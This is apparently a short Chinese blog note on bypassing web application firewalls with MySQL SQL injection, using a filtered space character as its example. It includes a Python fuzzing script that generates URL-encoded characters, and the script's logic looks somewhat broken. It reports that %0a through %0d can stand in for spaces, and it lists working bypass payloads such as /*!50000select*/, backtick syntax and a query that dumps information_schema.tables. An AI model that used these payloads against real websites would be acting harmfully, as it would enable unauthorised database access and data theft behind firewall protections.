今天朋友分享了一些常见的,和一些通用waf的绕过姿式,看一下,作一下记录
我这里以空格为例子,mysql中当语句为以下的时候返回不一样python
mysql> select * from users where user_id='1' and 1=1; +---------+-------+-----------+ | user_id | user | password | +---------+-------+-----------+ | 1 | admin | admintest | +---------+-------+-----------+ 1 row in set (0.29 sec) mysql> select * from users where user_id='1' and 1=2; Empty set (0.00 sec)
在firefox中用hackbar测试这里空格被url编码了为%20
这里我本身写了个脚本,生成了一系列各类符号的url编码,ascii码值,用于fuzzmysql
import sys save_file = sys.argv[1] pre = '0x' num = [1,2,3,4,5,6,7,8,9] word = ['QWERTYUIOPLKJHGFDSAZXCVBNMqwertyuioplkjhgfdsazxcvbnm'] with open(save_file,'wb') as file: for i in range(0,52): for n in word: tar = '0' + n[i] + '\n' file.write(tar) for a in num: res = str(pre) + str(a) + n[i] + '\n' print res file.write(res)
这里以空格为例子
对这里的20进行爆破,加载上面生成的字典
这里能够看到%0a-d均可以代替进行绕过sql
payload select{user table_name}from{users information_schema.tables}; 返回所有表 符号 + /**/ () 0x90等 select .1from users; /*!50000select*/user from users; select 0e1from users; select version%0b() select`version()` select`version`%0b() mysql> select`user`from`users`; +-------+ | user | +-------+ | admin | | test | | sp4rk | | qwer | +-------+ 4 rows in set (0.00 sec)